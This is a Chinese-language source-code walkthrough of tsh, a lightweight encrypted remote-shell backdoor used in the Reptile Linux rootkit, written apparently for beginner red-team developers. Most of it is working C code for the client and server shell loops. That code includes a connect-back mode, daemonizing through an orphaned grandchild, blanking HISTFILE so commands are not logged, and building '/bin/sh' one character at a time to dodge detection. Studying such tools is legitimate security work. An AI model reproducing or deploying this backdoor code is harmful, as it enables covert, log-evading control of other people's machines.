Tsh源码阅读和分析

tsh是一款轻量级远程shell工具,可在多个平台上编译运行,被集成在较为完善的Linux rootkit Reptile

  • 其实现了文件传输和真正的交互shell,交互全程用aes和sha1加密
  • 代码量比socat小,但很精巧,适合初级红队开发者进行学习
  • 本篇的关键在 tty和pty的设置与使用, 其余涉及一点点信号网络多进程操作IO模型会简略提一下

0x00 目录结构

  1. tsh
  2. ├── aes.c # aes加密算法实现
  3. ├── aes.h # aes头文件
  4. ├── ChangeLog
  5. ├── Makefile # makefile中带有多种系统的简单编译选项
  6. ├── pel.c # packet encrypt layer 报文加密的逻辑实现
  7. ├── pel.h # 报文加密头文件
  8. ├── README
  9. ├── sha1.c # sha1加密算法实现
  10. ├── sha1.h # sha1头文件
  11. ├── tsh.c # tsh客户端实现
  12. ├── tshd.c # tsh服务端实现
  13. └── tsh.h # tsh头文件

0x01 主逻辑分析

为了保证加密传输,作者将加密逻辑抽象出来形成 pel.[ch](packet encrypt layer),对外提供4个接口,方便主逻辑调用

  1. int pel_client_init( int server, char *key ); // 初始化client加密
  2. int pel_server_init( int client, char *key ); // 初始化server加密
  3. int pel_send_msg( int sockfd, unsigned char *msg, int length ); // 加密发送消息
  4. int pel_recv_msg( int sockfd, unsigned char *msg, int *length ); // 解密接收消息

0x11 tsh client流程

通过指定参数,支持三种基本功能

  • 交互shell
  • 获取文件
  • 传输文件

tsh codes reading - 图1

  • 输入选项可以指定:IP or 反连、端口、密码、获取文件、发送文件,仅输入IP则默认动作(action)为连接远程shell

tsh codes reading - 图2

  • 判断主被动连接
    • 主动连接,创建socket并bind绑定地址之后,主动使用connect连接远程server。
    • 被动连接,创建socket后bind地址,开启listen监听,使用accept等待连接到来
  • 连接到来后,先发送密码,若没有设置密码,则使用硬编码于代码中的默认密码,如果错误则需要用户手输,再次错误则认证失败。如果用-s设置了密码,错误则直接认证失败
  • 发送我们开头设置的动作(action),失败则调用shutdown关闭两端的socket
  • 根据我们的action调用不同功能函数,runshell模式中如果设置了命令,则仅执行该命令后便返回

0x12 tshd server流程

tshd_server主流程

tsh codes reading - 图3

  • process_init子流程

tsh codes reading - 图4

  • 基本参数

tsh codes reading - 图5

  • server主流程使用fork,作用是保证进程后台运行,这样我们运行tshd的时候就不用手动加&符号令进程后台运行
  • while死循环处理到来连接。被动情况下等待client来连接我们,主动情况下如果连接不成功,则会等待5s,再次发起连接。连接成功时连接会交给process_client函数处理
  • 在process_client流程中,会使用创建孙进程并退出父、子进程的方法,令孙进程由init进程接管,达到避免出现僵尸进程的效果
  1. /* setup the packet encryption layer */
  2. alarm( 3 );
  3. ret = pel_server_init( client, secret );
  4. if( ret != PEL_SUCCESS )
  5. {
  6. shutdown( client, 2 );
  7. return( 10 );
  8. }
  9. // 这里取消闹钟
  10. alarm( 0 );
  • 上面代码中alarm(3)的作用是给当前进程设置一个3秒的时钟,如果pel_server_init处理太慢,则操作系统会发送一个SIGALRM信号中断此进程,达到合理关闭该进程的效果。alarm(0)的作用是 如果流程正常进行,则取消闹钟

0x02 关键函数分析

  • tsh_runshell 客户端
  1. int tsh_runshell( int server, char *argv2 )
  2. {
  3. fd_set rd;
  4. char *term;
  5. int ret, len, imf = 0;
  6. struct winsize ws;
  7. struct termios tp, tr;
  8. /* send the TERM environment variable */
  9. term = getenv( "TERM" );
  10. if( term == NULL )
  11. {
  12. term = "vt100";
  13. }
  14. len = strlen( term );
  15. ret = pel_send_msg( server, (unsigned char *) term, len );
  16. if( ret != PEL_SUCCESS )
  17. {
  18. pel_error( "pel_send_msg" );
  19. return( 22 );
  20. }
  21. // 判断当前文件描述符0是否指的是一个终端,是则返回1
  22. if( isatty( 0 ) )
  23. {
  24. // 交互shell模式
  25. imf = 1;
  26. // ioctl能够对不同设备进行操作
  27. // 这里是获取终端设备的窗口大小保存在ws中,用于传输给server
  28. if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 )
  29. {
  30. perror( "ioctl(TIOCGWINSZ)" );
  31. return( 23 );
  32. }
  33. }
  34. else
  35. {
  36. // 默认窗口大小
  37. ws.ws_row = 25;
  38. ws.ws_col = 80;
  39. }
  40. // 把窗口大小数据填充到前四个char类型中,发给server处理
  41. message[0] = ( ws.ws_row >> 8 ) & 0xFF;
  42. message[1] = ( ws.ws_row ) & 0xFF;
  43. message[2] = ( ws.ws_col >> 8 ) & 0xFF;
  44. message[3] = ( ws.ws_col ) & 0xFF;
  45. ret = pel_send_msg( server, message, 4 );
  46. if( ret != PEL_SUCCESS )
  47. {
  48. pel_error( "pel_send_msg" );
  49. return( 24 );
  50. }
  51. /* send the system command */
  52. len = strlen( argv2 );
  53. ret = pel_send_msg( server, (unsigned char *) argv2, len );
  54. if( ret != PEL_SUCCESS )
  55. {
  56. pel_error( "pel_send_msg" );
  57. return( 25 );
  58. }
  59. /* set the tty to RAW */
  60. // 判断文件描述符 1是否为tty
  61. if( isatty( 1 ) )
  62. {
  63. // 获取文件描述符 1的属性,存储到tp中,以便后期还原
  64. if( tcgetattr( 1, &tp ) < 0 )
  65. {
  66. perror( "tcgetattr" );
  67. return( 26 );
  68. }
  69. // 把tp拷贝到tr中,我们后续修改就用tr
  70. memcpy( (void *) &tr, (void *) &tp, sizeof( tr ) );
  71. // 设置terminal属性
  72. tr.c_iflag |= IGNPAR;
  73. tr.c_iflag &= ~(ISTRIP|INLCR|IGNCR|ICRNL|IXON|IXANY|IXOFF);
  74. tr.c_lflag &= ~(ISIG|ICANON|ECHO|ECHOE|ECHOK|ECHONL|IEXTEN);
  75. tr.c_oflag &= ~OPOST;
  76. tr.c_cc[VMIN] = 1;
  77. tr.c_cc[VTIME] = 0;
  78. // 设置文件描述符 1的属性
  79. if( tcsetattr( 1, TCSADRAIN, &tr ) < 0 )
  80. {
  81. perror( "tcsetattr" );
  82. return( 27 );
  83. }
  84. }
  85. // select多路复用模型 收发数据
  86. while( 1 )
  87. {
  88. // 清空rd集合
  89. FD_ZERO( &rd );
  90. if( imf != 0 )
  91. {
  92. // 如果是交互模式,那么把标准输入放到rd集合中
  93. FD_SET( 0, &rd );
  94. }
  95. // 把server标识符放到rd集合中
  96. FD_SET( server, &rd );
  97. // select系统调用
  98. // 当rd中某个被置入的标识符出现可读数据时解除阻塞
  99. if( select( server + 1, &rd, NULL, NULL, NULL ) < 0 )
  100. {
  101. perror( "select" );
  102. ret = 28;
  103. break;
  104. }
  105. // 判断出现可读数据的是否为server标识符
  106. // 处理server返回信息
  107. if( FD_ISSET( server, &rd ) )
  108. {
  109. // 接收server数据
  110. ret = pel_recv_msg( server, message, &len );
  111. if( ret != PEL_SUCCESS )
  112. {
  113. if( pel_errno == PEL_CONN_CLOSED )
  114. {
  115. ret = 0;
  116. }
  117. else
  118. {
  119. pel_error( "pel_recv_msg" );
  120. ret = 29;
  121. }
  122. break;
  123. }
  124. // 将数据写入标准输出标识符(即显示到控制台)
  125. if( write( 1, message, len ) != len )
  126. {
  127. perror( "write" );
  128. ret = 30;
  129. break;
  130. }
  131. }
  132. // 判断出现可读数据的是否为标准输入标识符(即用户输入)
  133. // 处理用户输入
  134. if( imf != 0 && FD_ISSET( 0, &rd ) )
  135. {
  136. // 读取用户的输入到message
  137. len = read( 0, message, BUFSIZE );
  138. if( len == 0 )
  139. {
  140. fprintf( stderr, "stdin: end-of-file\n" );
  141. ret = 31;
  142. break;
  143. }
  144. if( len < 0 )
  145. {
  146. perror( "read" );
  147. ret = 32;
  148. break;
  149. }
  150. // 发送给server
  151. ret = pel_send_msg( server, message, len );
  152. if( ret != PEL_SUCCESS )
  153. {
  154. pel_error( "pel_send_msg" );
  155. ret = 33;
  156. break;
  157. }
  158. }
  159. }
  160. // 恢复之前的terminal数据
  161. if( isatty( 1 ) )
  162. {
  163. tcsetattr( 1, TCSADRAIN, &tp );
  164. }
  165. return( ret );
  166. }
  • tshd_runshell 服务端
  1. int tshd_runshell( int client )
  2. {
  3. fd_set rd;
  4. struct winsize ws;
  5. char *slave, *temp, *shell;
  6. int ret, len, pid, pty, tty, n;
  7. // 获取一个伪终端 pseudo-tty
  8. // 这里用宏在编译的时候做了跨平台的处理,实现功能相同,我们当前暂时关心Linux部分
  9. #if defined LINUX || defined FREEBSD || defined OPENBSD || defined OSF
  10. // 自动获取一个伪终端,在/dev/pts下最大值 + 1
  11. if( openpty( &pty, &tty, NULL, NULL, NULL ) < 0 )
  12. {
  13. return( 24 );
  14. }
  15. // 获取当前伪终端的完整路径
  16. slave = ttyname( tty );
  17. if( slave == NULL )
  18. {
  19. return( 25 );
  20. }
  21. #else
  22. #if defined IRIX
  23. slave = _getpty( &pty, O_RDWR, 0622, 0 );
  24. if( slave == NULL )
  25. {
  26. return( 26 );
  27. }
  28. tty = open( slave, O_RDWR | O_NOCTTY );
  29. if( tty < 0 )
  30. {
  31. return( 27 );
  32. }
  33. #else
  34. #if defined CYGWIN || defined SUNOS || defined HPUX
  35. pty = open( "/dev/ptmx", O_RDWR | O_NOCTTY );
  36. if( pty < 0 )
  37. {
  38. return( 28 );
  39. }
  40. if( grantpt( pty ) < 0 )
  41. {
  42. return( 29 );
  43. }
  44. if( unlockpt( pty ) < 0 )
  45. {
  46. return( 30 );
  47. }
  48. slave = ptsname( pty );
  49. if( slave == NULL )
  50. {
  51. return( 31 );
  52. }
  53. tty = open( slave, O_RDWR | O_NOCTTY );
  54. if( tty < 0 )
  55. {
  56. return( 32 );
  57. }
  58. #if defined SUNOS || defined HPUX
  59. if( ioctl( tty, I_PUSH, "ptem" ) < 0 )
  60. {
  61. return( 33 );
  62. }
  63. if( ioctl( tty, I_PUSH, "ldterm" ) < 0 )
  64. {
  65. return( 34 );
  66. }
  67. #if defined SUNOS
  68. if( ioctl( tty, I_PUSH, "ttcompat" ) < 0 )
  69. {
  70. return( 35 );
  71. }
  72. #endif
  73. #endif
  74. #endif
  75. #endif
  76. #endif
  77. /* just in case bash is run, kill the history file */
  78. temp = (char *) malloc( 10 );
  79. if( temp == NULL )
  80. {
  81. return( 36 );
  82. }
  83. temp[0] = 'H'; temp[5] = 'I';
  84. temp[1] = 'I'; temp[6] = 'L';
  85. temp[2] = 'S'; temp[7] = 'E';
  86. temp[3] = 'T'; temp[8] = '=';
  87. temp[4] = 'F'; temp[9] = '\0';
  88. // 将环境变量HISTFILE置空,让/root/.bash_history不记录我们的shell操作
  89. putenv( temp );
  90. // 获取client端的Term环境变量
  91. ret = pel_recv_msg( client, message, &len );
  92. if( ret != PEL_SUCCESS )
  93. {
  94. return( 37 );
  95. }
  96. message[len] = '\0';
  97. temp = (char *) malloc( len + 6 );
  98. if( temp == NULL )
  99. {
  100. return( 38 );
  101. }
  102. temp[0] = 'T'; temp[3] = 'M';
  103. temp[1] = 'E'; temp[4] = '=';
  104. temp[2] = 'R';
  105. strncpy( temp + 5, (char *) message, len + 1 );
  106. putenv( temp );
  107. /* 获取terminal的row和col大小 */
  108. ret = pel_recv_msg( client, message, &len );
  109. if( ret != PEL_SUCCESS || len != 4 )
  110. {
  111. return( 39 );
  112. }
  113. ws.ws_row = ( (int) message[0] << 8 ) + (int) message[1];
  114. ws.ws_col = ( (int) message[2] << 8 ) + (int) message[3];
  115. ws.ws_xpixel = 0;
  116. ws.ws_ypixel = 0;
  117. // 设置当前伪终端的宽高
  118. if( ioctl( pty, TIOCSWINSZ, &ws ) < 0 )
  119. {
  120. return( 40 );
  121. }
  122. // 获取client传输的命令
  123. ret = pel_recv_msg( client, message, &len );
  124. if( ret != PEL_SUCCESS )
  125. {
  126. return( 41 );
  127. }
  128. message[len] = '\0';
  129. temp = (char *) malloc( len + 1 );
  130. if( temp == NULL )
  131. {
  132. return( 42 );
  133. }
  134. strncpy( temp, (char *) message, len + 1 );
  135. // fork,使用子进程后台运行shell
  136. pid = fork();
  137. if( pid < 0 )
  138. {
  139. return( 43 );
  140. }
  141. // 子进程用来作为shell
  142. if( pid == 0 )
  143. {
  144. // fork会复制进程内的公有变量,子进程主要是作为后台shell执行命令并返回值给父进程,父进程用来管理pty和client通信,所以这里不需要client和pty
  145. close( client );
  146. close( pty );
  147. // 创建session,新建进程组,防止terminal退出导致进程的死亡
  148. if( setsid() < 0 )
  149. {
  150. return( 44 );
  151. }
  152. /* set controlling tty, to have job control */
  153. #if defined LINUX || defined FREEBSD || defined OPENBSD || defined OSF
  154. // 清空tty设置??
  155. if( ioctl( tty, TIOCSCTTY, NULL ) < 0 )
  156. {
  157. return( 45 );
  158. }
  159. #else
  160. #if defined CYGWIN || defined SUNOS || defined IRIX || defined HPUX
  161. {
  162. int fd;
  163. fd = open( slave, O_RDWR );
  164. if( fd < 0 )
  165. {
  166. return( 46 );
  167. }
  168. close( tty );
  169. tty = fd;
  170. }
  171. #endif
  172. #endif
  173. // 将标准输入、输出、错误输出复制到tty中
  174. dup2( tty, 0 );
  175. dup2( tty, 1 );
  176. dup2( tty, 2 );
  177. if( tty > 2 )
  178. {
  179. close( tty );
  180. }
  181. // 命令字符串开辟空间
  182. shell = (char *) malloc( 8 );
  183. if( shell == NULL )
  184. {
  185. return( 47 );
  186. }
  187. // "/bin/sh"
  188. shell[0] = '/'; shell[4] = '/';
  189. shell[1] = 'b'; shell[5] = 's';
  190. shell[2] = 'i'; shell[6] = 'h';
  191. shell[3] = 'n'; shell[7] = '\0';
  192. // 当前子进程装载为/bin/sh shell
  193. execl( shell, shell + 5, "-c", temp, (char *) 0 );
  194. /* d0h, this shouldn't happen */
  195. return( 48 );
  196. }
  197. else // 父进程,接收消息给后台sh作为转发
  198. {
  199. /* tty (slave side) not needed anymore */
  200. close( tty );
  201. // select多路复用模型 收发数据
  202. while( 1 )
  203. {
  204. FD_ZERO( &rd );
  205. FD_SET( client, &rd );
  206. FD_SET( pty, &rd );
  207. n = ( pty > client ) ? pty : client;
  208. if( select( n + 1, &rd, NULL, NULL, NULL ) < 0 )
  209. {
  210. return( 49 );
  211. }
  212. // 父进程接收来自client消息
  213. if( FD_ISSET( client, &rd ) )
  214. {
  215. ret = pel_recv_msg( client, message, &len );
  216. if( ret != PEL_SUCCESS )
  217. {
  218. return( 50 );
  219. }
  220. // 直接把收到的消息写给pty
  221. if( write( pty, message, len ) != len )
  222. {
  223. return( 51 );
  224. }
  225. }
  226. // sh有消息写给父进程,那么父进程直接把消息发送给client
  227. if( FD_ISSET( pty, &rd ) )
  228. {
  229. // 从pty拿到后台tty执行命令后的返回值
  230. len = read( pty, message, BUFSIZE );
  231. if( len == 0 ) break;
  232. if( len < 0 )
  233. {
  234. return( 52 );
  235. }
  236. // 发送给client
  237. ret = pel_send_msg( client, message, len );
  238. if( ret != PEL_SUCCESS )
  239. {
  240. return( 53 );
  241. }
  242. }
  243. }
  244. return( 54 );
  245. }
  246. /* not reached */
  247. return( 55 );
  248. }

0x03 技术分析

0x31 ptytty 数据传导

  • 相当于建立了管道连接

0x32 select IO多路复用模型

  • select多路复用模型是Linux中三种多路复用模型之一
    • 主要采取轮询文件标识符集合的模式,来达到高效率io目的
    • 主要适用于少量且活性高的标识符
    • select可以设置读、写、异常集合
  • 这里使用的目的:使用单线程来完成多个并发连接请求
    • 其实也能够用多线程来处理,即每次来一个连接请求,我们就开启一个线程去处理后续逻辑
  • tsh的做法:一开始清空集合,然后将需要的文件标识符放入读集合中,再调用select同时设置最大文件标识符,这样select会在0~Max之间遍历所有标识符

tsh codes reading - 图6

  • 当读集合中某个fd存在事件,那么select系统调用将会返回

tsh codes reading - 图7

  • 然后使用FD_ISSET,判断事件集合中本次存在事件的标识符具体是哪一个,处理其后续逻辑

tsh codes reading - 图8

0x0 总结

  1. 宏的使用,做到跨平台,Linux系统编程基本操作
  2. 使用孙进程,避免出现僵尸进程
  3. tty和pty的使用做到了真正的交互shell
    1. 这里说一下python shell,其连接后使用pty.spawn("/bin/bash")交互shell其实依然为某种程度哑shell,无法完成某些高交互进程(如:vim)的使用,需要进一步升级

tsh codes reading - 图9

  1. 设置窗口大小,控制返回值窗口
  2. 存在bug,输入./tshd asdf后台会一直创建进程,最终跑死机器

0x0 参考资料

[1] termios

[2] What’s the difference between various $TERM variables?

[3] 理解 Linux 中的 tty、pty、pts、console、terminal

[4] Why do I need to run “/bin/bash —login”

[5] Linux基础之终端、控制台、tty、pty简介说明

[6] 彻底理解 IO 多路复用实现机制

[7] Linux下的权限维持

[8] tinyhttpd 阅读与分析